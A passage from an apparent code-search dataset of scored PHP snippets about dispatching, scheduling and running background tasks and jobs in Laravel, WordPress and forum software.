SampleJobEを非同期(laravel-async)で実行する\n SampleJobE::dispatch()->onQueue('laravel-async')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job E.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobFを非同期(laravel-async)で実行する\n SampleJobF::dispatch()->onQueue('laravel-async')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job F.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobGを非同期(laravel-async)に向けて発行\n SampleJobG::dispatch()->onQueue('laravel-async')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job G.', Carbon::now()->format('Y-m-d H:i:s')));\n }", "title": "" }, { "docid": "6cf890fc0aba0d47094aab60fa1fb0b4", "score": "0.5504559", "text": "protected function process()\n\t{\n\t}", "title": "" }, { "docid": "39f37242b9e760d00f8740fa259064b4", "score": "0.55040216", "text": "public function run() {\n\n $this->scheduledTaskService->processDueTasks();\n }", "title": "" }, { "docid": "511f4007a0938fd547ee44841c7c8be4", "score": "0.5496879", "text": "function complete_task($task,$user_running_task = \"\",$acted_upon = \"\",$custom_action_data = \"\",$sup_id = \"\") {\n\t\tglobal $privileges;\n\t\tglobal $session;\n\t\tglobal $manual;\n\t\tif (empty($privileges)) {\n\t\t\t$privileges = $session->get_user_privileges($user_running_task);\n\t\t}\n\t\t\n \t\t/**\n \t\t *\tTrack Tasks\n \t\t */\n \t\tif ($privileges['track_tasks'] == \"1\") {\n \t\t\t$q = \"INSERT INTO `\" . TABLE_PREFIX . \"tasks` (`date`,`action`,`user`,`performed_on`) VALUES ('\" . $this->current_date() . \"','$task','$user_running_task','$acted_upon')\";\n \t\t\t$insert = $this->insert($q);\n \t\t}\n \t\t\n \t\t/**\n \t\t *\tActivity Feeds\n \t\t */\n \t\t$activity = 0;\n \t\t$final_category = '';\n \t\t$final_act_name = '';\n \t\t\n \t\tif (! is_numeric($user_running_task)) {\n \t\t\t$final_user_id = $session->get_user_id($user_running_task);\n \t\t} else {\n\t \t\t$final_user_id = $user_running_task;\n \t\t}\n \t\t\n \t\tif ($task == 'comment_post') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'comment';\n \t\t\t$art_info = $manual->get_article($acted_upon,'1','name,category','0','0','0');\n \t\t\t$final_category = $art_info['category'];\n \t\t\t$final_act_name = $art_info['name'];\n \t\t}\n \t\telse if ($task == 'article_add') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'newpages';\n \t\t\t$art_info = $manual->get_article($acted_upon,'1','name,category','0','0','0');\n \t\t\t$final_category = $art_info['category'];\n \t\t\t$final_act_name = $art_info['name'];\n \t\t}\n \t\telse if ($task == 'article_edit') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'editpages';\n \t\t\t$art_info = $manual->get_article($acted_upon,'1','name,category','0','0','0');\n \t\t\t$final_category = $art_info['category'];\n \t\t\t$final_act_name = $art_info['name'];\n \t\t}\n \t\telse if ($task == 'givebadge') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'badges';\n \t\t\t$final_act_name = '';\n \t\t}\n \t\telse if ($task == 'register') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'newuser';\n \t\t}\n \t\telse if ($task == 'mention') {\n \t\t\t$activity = '1';\n \t\t\t$final_type = 'mentions';\n \t\t\t$art_info = $manual->get_article($acted_upon,'1','name,category','0','0','0');\n \t\t\t$final_category = $art_info['category'];\n \t\t\t$final_act_name = $art_info['name'];\n \t\t\t// $sup_id = $session->get_user_id($sup_id);\n \t\t}\n \t\t\n \t\tif ($activity == '1') {\n \t\t\t\n \t\t\t$q = \"\n\t \t\t\tINSERT INTO `\" . TABLE_PREFIX . \"activity` (`user`,`type`,`act_id`,`sup_id`,`act_name`,`category_id`,`date`)\n\t \t\t\tVALUES ('$final_user_id','$final_type','$acted_upon','$sup_id','\" . $this->mysql_clean($final_act_name) . \"','$final_category','\" . $this->current_date() . \"')\n \t\t\t\";\n \t\t\t$insert = $this->insert($q);\n \t\t}\n \t\t\n \t\t/**\n \t\t *\tCustom Actions\n \t\t */\n \t\t$custom_actions = $this->custom_actions($task,$user_running_task,$acted_upon,$custom_action_data);\n \t\t// Delete spam session\n\t\t$del = $session->delete_spam_session();\n \t\t// Custom point system\n \t\tif ($this->get_option('use_point_system') == '1') {\n\t\t\tglobal $manual;\n \t\t\t$add_points = $manual->add_points($task,$user_running_task,$acted_upon,$custom_action_data);\n \t\t}\n\t}", "title": "" }, { "docid": "baf80fa5c475af9685ea361b00276fb3", "score": "0.54962814", "text": "public function handle()\n {\n $tasks = Task::where([\n ['status', 'pending'],\n ['start_at', '<=', Carbon::now()->addHour()->format('Y-m-d H:i')],\n ])->get();\n\n $tasks->each(function ($task) {\n $user = User::find($task->user_id);\n $profile = $user->instagramProfile;\n\n $tags = json_decode($task->tags, true);\n $like = json_decode($task->like, true);\n $follow = json_decode($task->follow, true);\n $duration = $task->duration;\n\n $params = json_encode([\n 'tags' => $tags,\n 'duration' => $duration,\n 'user' => [\n 'login' => $profile->username,\n 'password' => $profile->password,\n ],\n 'like' => $like,\n 'follow' => $follow,\n ]);\n\n $ch = curl_init(self::URL);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $params);\n curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n 'Content-Type:application/json',\n 'X-Service-Auth:'.self::TOKEN,\n ));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($ch);\n curl_close($ch);\n\n $task->status = 'complete';\n $task->save();\n });\n }", "title": "" }, { "docid": "daa09686e296640051a164e9cd4ba343", "score": "0.54960364", "text": "public function performTask() {\n $loc = __CLASS__ . '::' . __FUNCTION__;\n $this->log->error_log(\"$loc\");\n $this->log->error_log( $_POST, \"$loc: _POST:\" );\n\n // Handle the ajax request\n check_ajax_referer( self::NONCE, 'security' );\n\n if( defined( 'DOING_AJAX' ) && ! DOING_AJAX ) {\n $this->handleErrors('Not Ajax');\n }\n \n $ok = false;\n if( current_user_can( TE_Install::MANAGE_EVENTS_CAP ) ) $ok = true;\n \n if ( !$ok ) { \n $this->errobj->add( $this->errcode++, __( 'Insufficient privileges to modify brackets.', TennisEvents::TEXT_DOMAIN ));\n }\n \n if(count($this->errobj->errors) > 0) {\n $this->handleErrors(__(\"Errors were encountered\", TennisEvents::TEXT_DOMAIN ) );\n }\n\n $this->log->error_log(\"$loc: action={$_POST['action']}\");\n if( self::ACTION !== $_POST['action']) return;\n\n $response = array();\n\n $data = $_POST[\"data\"];\n $task = $data[\"task\"];\n // $this->eventId = $data[\"eventId\"];\n // $event = Event::get( $this->eventId );\n // $bracketName = $data[\"bracketName\"];\n // $bracket = $event->getBracket( $bracketName );\n $returnData = $task;\n $mess = '';\n switch( $task ) {\n case 'editname':\n $mess = $this->modifyBracketName( $data );\n $returnData = $data;\n break;\n case 'addbracket':\n $mess = $this->addBracket( $data );\n $returnData = $data;\n break;\n case 'removebracket':\n $mess = $this->removeBracket( $data );\n $returnData = $data;\n break;\n case 'makecopy':\n $mess = $this->makeCopy( $data );\n $returnData = $data;\n break;\n case 'preparenextmonth':\n $mess = $this->prepareLadderNextMonth( $data );\n $returnData = $data;\n break;\n default:\n $mess = __( 'Illegal Bracket task.', TennisEvents::TEXT_DOMAIN );\n $this->errobj->add( $this->errcode++, $mess );\n }\n\n if(count($this->errobj->errors) > 0) {\n $this->handleErrors( $mess );\n }\n\n $response[\"message\"] = $mess;\n $response[\"returnData\"] = $returnData;\n\n //Send the response\n wp_send_json_success( $response );\n \n wp_die(); // All ajax handlers die when finished\n }", "title": "" }, { "docid": "d148eaee6d63b3c35edd617831d3ea2e", "score": "0.54949427", "text": "function handle_tasks()\n{\n\t$agriRecs = read_file_by_line();\n\tprocess_data($agriRecs);\n}", "title": "" }, { "docid": "e7ad378697a68001e6f5698f5024cffc", "score": "0.54940295", "text": "protected function process()\n {\n }", "title": "" }, { "docid": "96a955ef46d44bc7eddb6645d820070e", "score": "0.5470952", "text": "public function run()\n\t{\n\t\t// $this->newTask($this->poll->ioPollTask());\n\n\t\twhile (!$this->taskQueue->isEmpty()) {\n\t\t\t$task = $this->taskQueue->dequeue();\n\t\t\t$retval = $task->run();\n\n\t\t\tif ($retval instanceof SystemCall) {\n\t\t\t\ttry {\n\t\t\t\t\t$retval($task, $this);\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t$task->setException($e);\n\t\t\t\t\t$this->schedule($task);\n\t\t\t\t}\n\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($task->isFinished()) {\n\t\t\t\tunset($this->taskMap[$task->getTaskId()]);\n\t\t\t} else {\n\t\t\t\t$this->schedule($task);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "e844d6d69b3749eea300979c81190c8e", "score": "0.5460732", "text": "public function runTaskTable($job)\n {\n $taskList = Task::all();\n\n foreach ($taskList as $task) {\n\n\n $this->exceptionCaught = false;\n\n\n if ($task->status >= 1) {\n // Task::where('id', $task->id)->update(['status' => 2]);\n $taskName = 'App\\\\Tasks\\\\' . $task->task_type;\n $taskClassToUse = new $taskName;\n // $taskClassToUse->setTaskId($job->task_id);\n\n if ($task->task_id > 1) {\n // echo $task->task_id;\n }\n $taskClassToUse->setHTML($job->job_type);\n\n\n try {\n\n\n $taskClassToUse->run($task->payload);\n } catch (\\Exception $e) {\n $strError = 'failed to run task with id: ' . $task->id . $e->getMessage();\n //echo $strError;\n array_push($this->errorList, $task->id . \"Error: \" . $e->getMessage());\n\n //array_push($this->errorList,$e->getMessage());\n\n echo $strError;\n Task::where('id', $task->id)->update(['status' => 2]);\n Job::where('task_id', $task->task_id)->update(['errorMessage' => $strError]);\n Job::where('task_id', $task->task_id)->update(['status' => 2]);\n\n $this->exceptionCaught = true;\n continue;\n\n } // echo \"this is task id \".$task->task_id;\n $impErrorList = implode(\",\", $this->errorList);\n $strError = ' failed to run tasks with id: ' . $impErrorList;\n\n Job::where('task_id', $task->task_id)->update(['errorMessage' => $strError]);\n //to make work fully, change status below to '0'. This is set to one for development purposes so that it dosent need to be manually change it.\n Task::where('id', $task->id)->update(['status' => 0]);\n\n Task::where('id', $task->id)->update(['status' => 0]);\n echo \"this is job status \" . $job->status;\n\n\n }\n\n }\n\n }", "title": "" }, { "docid": "d0516dfd1694bd03e7994e7895bbf371", "score": "0.5449119", "text": "public function handle()\n {\n\n //dummy/test job id\n\n //subscriber job ids\n // $jobIds = [1917, 6258, 6264, 7015, 7128, 13268, 13367, 13652, 14082, 14279, 14897, 15055, 15664, 15841, 16330, 16347, 16350, 16461, 17520, 17971, 18041, 18287, 18342, 18386, 18415, 18860, 18868, 19404, 19422, 19438, 19805, 20160, 20436, 20493, 20602, 21264, 21342, 21389, 21450, 21452, 21596, 21754, 21908, 22277, 22525, 22526, 23036, 24277, 25059, 25107, 26359, 27050, 27300, 27625, 28193, 29623, 29997, 30541, 30692, 30817, 30818, 30819, 30821, 30826, 30861, 30867, 30873, 31428, 31624, 32056, 32530, 33182, 33611, 33617, 34158, 34491, 34512, 35699, 36008, 36712, 36844, 36870, 37729, 37730, 37731, 38122, 38123, 38617, 40126, 40127, 40365, 41148, 41680, 42420, 42861, 43707, 44293, 44725, 45551, 47062, 48918, 48994];\n\n Job::withoutArchived()->orderBy('id', 'desc')->chunk(200, function ($jobs) {\n foreach ($jobs as $job) {\n JobFinancialCalculation::updateFinancials($job->id);\n\n if ($job->isProject() || $job->isMultiJob()) {\n //update parent job financial\n JobFinancialCalculation::calculateSumForMultiJob($job);\n }\n }\n });\n }", "title": "" }, { "docid": "17725b5907eab6df7bf1667be5d26e27", "score": "0.5436691", "text": "function run_task()\n\t{\n\t\t//-----------------------------------------\n\t\t// GET EMAIL CLASS\n\t\t//-----------------------------------------\n\t\t\n\t\trequire ( $this->root_path.\"sources/classes/class_email.php\" );\n\t\t$this->email = new emailer( $this->root_path );\n $this->email->ipsclass =& $this->ipsclass;\n $this->email->email_init();\n \n\t\t//-----------------------------------------\n\t\t// INIT\n\t\t//-----------------------------------------\n\t\t\n\t\t$members = array();\n\t\t$ids = array();\n\t\t$expired = time() + 86400 + 3600; // Tomorrow + 1 hour\n\t\t$now = time() - 3600;\n\t\t\n\t\t//-----------------------------------------\n\t\t// Get members\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->DB->build_query( array( 'select' => 'st.subtrans_member_id',\n\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'subscription_trans' => 'st' ),\n\t\t\t\t\t\t\t\t\t\t\t\t 'where' => \"st.subtrans_state='paid' AND st.subtrans_end_date >= $now AND st.subtrans_end_date <= $expired\",\n\t\t\t\t\t\t\t\t\t\t\t\t 'add_join' => array( 0 => array( 'select' => 'm.id, m.name, m.members_display_name, m.email, m.sub_end',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'members' => 'm' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => 'm.id=st.subtrans_member_id',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left' ) ) ) );\n\t\n\t\t$this->ipsclass->DB->exec_query();\n\t\t\t\n\t\twhile( $r = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$members[ $r['id'] ] = $r;\n\t\t\t$ids[] = $r['id'];\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Get subscription packages\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( count( $ids ) )\n\t\t{\n\t\t\t$this->ipsclass->DB->build_query( array( 'select' => 'st.subtrans_sub_id, st.subtrans_member_id',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'subscription_trans' => 'st' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => 'st.subtrans_member_id IN ('.implode( \",\", $ids ) . \") AND st.subtrans_state='paid'\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'add_join' => array( 0 => array( 'select' => 's.sub_title',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'subscriptions' => 's' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => 's.sub_id=st.subtrans_sub_id',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left' ) ) ) );\n\t\t\n\t\t\t$this->ipsclass->DB->exec_query();\n\t\t\t\n\t\t\twhile( $r = $this->ipsclass->DB->fetch_row() )\n\t\t\t{\n\t\t\t\t$members[ $r['subtrans_member_id'] ]['sub_title'] = $r['sub_title'];\n\t\t\t}\n\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Send out the EMAILS\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\tforeach( $members as $member )\n\t\t\t{\n\t\t\t\t$this->email->get_template(\"subscription_expires\");\n\t\t\t\t$this->email->build_message( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'PACKAGE' => $member['sub_title'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t'EXPIRES' => $this->ipsclass->get_date( $member['sub_end'], 'DATE' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t'LINK' => $this->ipsclass->vars['board_url'].'/index.'.$this->ipsclass->vars['php_ext'].'?act=paysubs&CODE=index',\n\t\t\t\t\t\t\t\t\t\t ) );\n\t\t\t\t\n\t\t\t\t$this->email->to = trim( $member['email'] );\n\t\t\t\t$this->email->send_mail();\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Log to log table - modify but dont delete\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->class->append_task_log( $this->task, '' . intval(count($ids)) . '' );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Unlock Task: DO NOT MODIFY!\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->class->unlock_task( $this->task );\n\t}", "title": "" }, { "docid": "2284d61ab31bdec4a24ce5991a0b1318", "score": "0.54296607", "text": "public function executeCustomCronJob () {\n // Custom\n }", "title": "" }, { "docid": "dab3d2be99970b3eb463c30e10eaab1f", "score": "0.54273814", "text": "final public function run()\n\t{\n\t\tif (method_exists($this, 'processMaster'))\n\t\t{\n\t\t\t$this->file_touch = $this->remains_prefix.'master_'.$this->pid;\n\t\t\ttouch($this->file_touch);\n\t\t\t\n\t\t\t$this->processMaster();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif ($this->workers == 1)\n\t\t\t{\n\t\t\t\t$this->iam_worker = true;\n\t\t\t\t\n\t\t\t\t$this->processWorker(null);\n\t\t\t}\n\t\t\telseif ($this->workers > 1)\n\t\t\t{\n\t\t\t\t$this->runMultipleWorkers();\n\t\t\t}\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "8a92561339d80080cbfbb1d770fcb522", "score": "0.542613", "text": "protected function process_job_status( $job ) {\n\n\t\t$job = parent::process_job_status( $job );\n\n\t\tif ( 'failed' === $job->status ) {\n\t\t\tthrow new SV_WC_Plugin_Exception( $this->get_job_handler()->get_export_status_message( 'failed' ) );\n\t\t}\n\n\t\t$job->export_id = $job->id;\n\n\t\tif ( 'completed' === $job->status ) {\n\n\t\t\tif ( 'failed' === $job->transfer_status ) {\n\t\t\t\tthrow new SV_WC_Plugin_Exception( $this->get_job_handler()->get_export_status_message( 'transfer-failed' ) );\n\t\t\t}\n\n\t\t\t$download_url = wp_nonce_url( admin_url(), 'download-export' );\n\n\t\t\t// return the download url for the exported file\n\t\t\t$job->download_url = add_query_arg( array(\n\t\t\t\t'download_exported_csv_file' => 1,\n\t\t\t\t'export_id' => $job->export_id,\n\t\t\t), $download_url );\n\t\t}\n\n\t\treturn $job;\n\t}", "title": "" }, { "docid": "49be80f9c0923df1a2b8ec9551d6e281", "score": "0.54250026", "text": "public function handle()\n {\n try {\n Queue::setDefaultDriver('sync');\n\n $count = 0;\n $this->info('Processing Failed Orders:');\n $campaigns = campaign_repository()->getExpiredProcessingPayment();\n\n foreach ($campaigns as $campaign) {\n $campaign->state = 'fulfillment_ready';\n $campaign->save();\n\n event(new PaymentProcessed($campaign->id, 'timeout'));\n event(new FulfillmentReady($campaign->id));\n\n foreach ($campaign->authorized_orders as $order) {\n if (in_array($order->state, ['authorized', 'authorized_failed'])) {\n $order->state = 'authorized_failed';\n $order->save();\n $this->comment((++$count).',\"failed\",'.$campaign->id.',\"'.$campaign->name.'\",'.$order->id.','.Carbon::now()->diffInDays(Carbon::createFromTimestamp(strtotime($order->created_at))));\n }\n }\n }\n\n $count = 0;\n $this->line('');\n $this->info('Processing Failed Orders:');\n $campaigns = campaign_repository()->getCurrentlyProcessingPayment();\n foreach ($campaigns as $campaign) {\n\n if ($campaign->processed_at == '0000-00-00 00:00:00') {\n continue;\n }\n\n $unprocessedOrders = false;\n foreach ($campaign->authorized_orders as $order) {\n if (in_array($order->state, ['authorized', 'authorized_failed'])) {\n $this->comment((++$count).',\"processing\",'.$campaign->id.',\"'.$campaign->name.'\",'.$order->id.','.Carbon::now()->diffInDays(Carbon::createFromTimestamp(strtotime($order->created_at))));\n $this->dispatch(new ProcessChargeJob($order->id, $order->billing_charge_id, $order->total));\n $unprocessedOrders = true;\n }\n }\n\n if ($unprocessedOrders == false) {\n $campaign->state = 'fulfillment_ready';\n $campaign->save();\n\n event(new PaymentProcessed($campaign->id, 'ok'));\n event(new FulfillmentReady($campaign->id));\n }\n }\n\n $count = 0;\n $campaigns = campaign_repository()->getInState('collecting_payment');\n $this->line('');\n $this->info('Expiring Orders:');\n foreach ($campaigns as $campaign) {\n /* @var Campaign $campaign */\n foreach ($campaign->expiring_orders as $order) {\n $this->comment((++$count).','.$campaign->id.',\"'.$campaign->name.'\",'.$order->id.','.Carbon::now()->diffInDays(Carbon::createFromTimestamp(strtotime($order->created_at))));\n $this->dispatch(new ProcessChargeJob($order->id, $order->billing_charge_id, $order->total, false));\n }\n }\n\n $count = 0;\n $campaigns = campaign_repository()->getInState('collecting_payment');\n $this->line('');\n $this->info('Expired Orders:');\n foreach ($campaigns as $campaign) {\n foreach ($campaign->expired_orders() as $order) {\n $this->comment((++$count).','.$campaign->id.',\"'.$campaign->name.'\",'.$order->id.','.Carbon::now()->diffInDays(Carbon::createFromTimestamp(strtotime($order->created_at))));\n }\n }\n } catch (\\Exception $ex) {\n $this->error($ex->getMessage());\n }\n\n return;\n }", "title": "" }, { "docid": "cd9c757a0e5c078ddec8b53fb4698600", "score": "0.54098576", "text": "function _setup_async_job()\n\t{\n\t\t$async = new Api\\Asyncservice();\n\t\t//$async->cancel_timer('news_admin-import');\n\n\t\tif (!$async->read('news_admin-import'))\n\t\t{\n\t\t\t$async->set_timer(array('hour' => '*'),'news_admin-import','news_admin.news_admin_import.async_import',null);\n\t\t}\n\t}", "title": "" }, { "docid": "6e93a7765ff0e151824216315d7d1f3a", "score": "0.54019606", "text": "public function task($query){\n\n\t\t$settings = self::check_data('apikey,target');\n\n\t\t$parsed_query = self::parse_task($query,$settings);\n\t\tself::create_task($parsed_query,$settings);\n\n\t}", "title": "" }, { "docid": "756cb3cb5872fc65ddf85fa9ca11423e", "score": "0.53996134", "text": "function complete() {\n if($this->active_task->isNew()) {\n $this->httpError(HTTP_ERR_NOT_FOUND);\n } // if\n \n if(!$this->active_task->canChangeCompleteStatus($this->logged_user)) {\n $this->httpError(HTTP_ERR_FORBIDDEN);\n } // if\n \n if($this->request->isSubmitted()) {\n db_begin_work();\n \n $action = $this->active_task->complete($this->logged_user);\n if($action && !is_error($action)) {\n db_commit();\n \n if($this->request->getFormat() == FORMAT_HTML) {\n if($this->request->get('async')) {\n $this->smarty->assign(array(\n '_object_task' => $this->active_task,\n )); \n print tpl_fetch(get_template_path('_task_completed_row', $this->controller_name, RESOURCES_MODULE));\n die();\n } else {\n flash_success('Task \":name\" has been completed', array('name' => str_excerpt($this->active_task->getName(), 80, '...')));\n $this->redirectToReferer($this->active_task->getViewUrl());\n } // if\n } else {\n $this->serveData($this->active_task);\n } // if\n } else {\n db_rollback();\n \n if($this->request->getFormat() == FORMAT_HTML) {\n if($this->request->get('async')) {\n $this->serveData($action);\n } else {\n flash_error('Failed to complete task \":name\"', array('name' => str_excerpt($this->active_task->getName(), 80, '...')));\n $this->redirectToReferer($this->active_task->getViewUrl());\n } // if\n } else {\n $this->httpError(HTTP_ERR_OPERATION_FAILED);\n } // if\n } // if\n } else {\n $this->httpError(HTTP_ERR_BAD_REQUEST);\n } // if\n }", "title": "" }, { "docid": "3e04e8bccf8666af8e2bc01df33c1378", "score": "0.5393778", "text": "public function run_bulk_task( I_BTM_Task $task ){\n\t\t$task_dao = BTM_Task_Dao::get_instance();\n\t\t$task_bulk_argument_dao = BTM_Task_Bulk_Argument_Dao::get_instance();\n\n\t\t$task_dao->mark_as_running( $task );\n\n\t\t$task_bulk_arguments = $task_bulk_argument_dao->get_next_arguments_to_run(\n\t\t\t$task->get_id(),\n\t\t\t$task->get_bulk_size()\n\t\t);\n\n\t\t$task_bulk_argument_dao->mark_many_as_running( $task_bulk_arguments );\n\n\t\t$task_dao->change_last_run( $task );\n\n\t\t$start = time();\n\t\ttry{\n\t\t\t$task_run_filter_log = new BTM_Task_Run_Filter_Log();\n\t\t\t$callback_args = $task->get_callback_arguments();\n\t\t\t/**\n\t\t\t * Runs the background tasks, gathers their logs.\n\t\t\t *\n\t\t\t * There is a prefix added to the filter tag,\n\t\t\t * @see BTM_Plugin_Options::get_task_filter_name_prefix()\n\t\t\t *\n\t\t\t * @param BTM_Task_Run_Filter_Log $task_run_filter_log the logs that callback functions should return\n\t\t\t * @param mixed[] $callback_args the callback arguments\n\t\t\t * @param BTM_Task_Bulk_Argument[] $task_bulk_arguments the callback arguments\n\t\t\t */\n\t\t\t$task_run_filter_log = apply_filters(\n\t\t\t\tBTM_Plugin_Options::get_instance()->get_task_filter_name_prefix() . $task->get_callback_action(),\n\t\t\t\t$task_run_filter_log,\n\t\t\t\t$callback_args,\n\t\t\t\t$task_bulk_arguments\n\t\t\t);\n\t\t}catch( Exception $e ){\n\t\t\t$task_run_filter_log->add_log( $e->getMessage() );\n\t\t\t$task_run_filter_log->set_failed( true );\n\t\t\t$task_run_filter_log->set_bulk_fails( $task_bulk_arguments );\n\t\t}finally{\n\t\t\t$end = time();\n\n /**\n * @todo create intermediate status for task when bulk argument failed\n *\n * @see https://github.com/NovemBit/wp-task-manager/issues/39\n */\n//\t\t\tif( $task_run_filter_log->is_failed() ){\n//\t\t\t\t$task_dao::get_instance()->mark_as_failed( $task );\n//\t\t\t\t$notify = new BTM_Notification_Runner();\n//\t\t\t\t$notify->notify_failed_task( $task );\n//\t\t\t}else{\n\t\t\t\t$more_task_bulk_arguments = $task_bulk_argument_dao->get_next_arguments_to_run(\n\t\t\t\t\t$task->get_id(),\n\t\t\t\t\t1\n\t\t\t\t);\n\t\t\t\tif( 0 < count( $more_task_bulk_arguments ) ){\n\t\t\t\t\t$task_dao::get_instance()->mark_as_in_progress( $task );\n\t\t\t\t}else{\n\t\t\t\t\tif( $task_bulk_argument_dao->has_failed_arguments( $task->get_id() ) ){\n\t\t\t\t\t\t$task_dao::get_instance()->mark_as_failed( $task );\n\t\t\t\t\t\t$notify = new BTM_Notification_Runner();\n\t\t\t\t\t\t$notify->notify_failed_task( $task );\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$task_dao::get_instance()->mark_as_succeeded( $task );\n\t\t\t\t\t}\n\t\t\t\t}\n//\t\t\t}\n\n\t\t\t// marking bulk arguments failed or succeeded\n\t\t\t$task_bulk_arguments_succeeded = array();\n\t\t\tforeach( $task_bulk_arguments as $task_bulk_argument ){\n\t\t\t\tif( ! isset( $task_run_filter_log->get_bulk_fails()[ $task_bulk_argument->get_id() ] ) ){\n\t\t\t\t\t$task_bulk_arguments_succeeded[] = $task_bulk_argument;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$task_bulk_argument_dao->mark_many_as_succeeded( $task_bulk_arguments_succeeded );\n\t\t\t$task_bulk_argument_dao->mark_many_as_failed( array_values( $task_run_filter_log->get_bulk_fails() ) );\n\n\t\t\tif( $task_run_filter_log->is_failed() || 0 < count( $task_run_filter_log->get_bulk_fails() ) ){\n\t\t\t\t$task_run_log_status = new BTM_Task_Run_Status( BTM_Task_Run_Status::STATUS_FAILED );\n\t\t\t}else{\n\t\t\t\t$task_run_log_status = new BTM_Task_Run_Status( BTM_Task_Run_Status::STATUS_SUCCEEDED );\n\t\t\t}\n\n\t\t\tBTM_Task_Run_Log_Dao::get_instance()->create(\n\t\t\t\tnew BTM_Task_Run_Log(\n\t\t\t\t\t$task->get_id(),\n\t\t\t\t\tBTM_Task_Manager_Log_Dao::get_instance()->get_session_id(),\n\t\t\t\t\t$task_run_filter_log->get_logs(),\n\t\t\t\t\t$task_run_log_status,\n\t\t\t\t\t$start,\n\t\t\t\t\t$end\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "b7d1a05a9d35fd8a51490ca5eff3293c", "score": "0.53934497", "text": "protected function dispatchBatchRunningTasks()\n {\n /**\n * @var string $name\n * @var \\Chronos\\Tasks\\Batch $task\n */\n foreach ($this->taskCollector->getTasks() as $name => $task) {\n\n // Skip all but running tasks, skip\n if (!$task->isTask('batch')) {\n continue;\n }\n\n // If task is already operating on the system, skip\n if ($this->isRunning($task)) {\n $this->collectBatchTask($task);\n continue;\n }\n\n // Execute the task's main command\n $this->execute($task->getCommand(), $task);\n }\n }", "title": "" }, { "docid": "c45d554369bff9e1faaa728443858e2d", "score": "0.5388905", "text": "public function runTask()\n {\n \t$user = User::first();\n \t$data = [\n \t\t'status' => 0,\n \t\t'user_id' => $user->id\n \t];\n \t$task = Task::create($data);\n \t$this->dispatch(new NewTask($user, $task));\n\n \treturn $task;\n \t// Insert status in Tasks table\n\n \t// Send a response\n }", "title": "" }, { "docid": "74d57fcd5c80b99ba3a9efd4997baac0", "score": "0.5377897", "text": "function processing_jobs($param, $filters = null, $model = null, $module = null, $path = null)\n {\n if (is_array($param)) {\n $exp = explode('\\\\', $param['model']);\n\n\t\t\t$title = $param['title'] ?? preg_replace('/(?<! )(?<!^)(?<![A-Z])[A-Z]/', ' $0', end($exp));\n\t\t\t$filters = @$param['filters'];\n\t\t\t$model = $param['model'];\n\t\t\t$module = $param['module'];\n\t\t\t$path = $param['path'];\n\t\t\t$ext = substr(@$param['path'],-4) == 'xlsx' ? 'xlsx' : 'pdf';\n } else {\n\t\t\t$exp = explode('\\\\', $model);\n\t\t\t$title = $param ?? preg_replace('/(?<! )(?<!^)(?<![A-Z])[A-Z]/', ' $0', end($exp));\n\t\t\t$ext = explode('\\\\', @$path);\n\t\t\t$ext = substr(@$path,-4) == 'xlsx' ? 'xlsx' : 'pdf';\n }\n\n $type = explode('/', $path)[0];\n\n if ($type == 'imports') {\n $request = request();\n $request->validate([\n 'file' => 'required|file'\n ]);\n $file = $request->file('file');\n }\n\n $name = '';\n\n if ($type == 'imports') {\n $name = $title . \" (@\" . Carbon::now()->format('Ymdhis') . \") \" . $file->getClientOriginalName();\n } else {\n $name = $title . \" (@\" . substr(str_replace(\"-\", null, crc32(md5(time()))), 0, 9) . ').'. @$ext ?? 'xlsx';\n }\n\n $filePath = $path . '/' . $name;\n\n if ($type == 'imports') {\n Storage::disk('public')->putFileAs($path, $file, $name);\n }\n\n $trace = JobTrace::create([\n\n\t\t\t'user_id' => get_auth()->id,\n\n\t\t\t// 'user_id' => \\Auth::user(),\n\n\t\t\t'title' => $title,\n\t\t\t'model' => $model,\n\t\t\t'module' => $module,\n\t\t\t'file_path' => $filePath,\n\t\t\t'status' 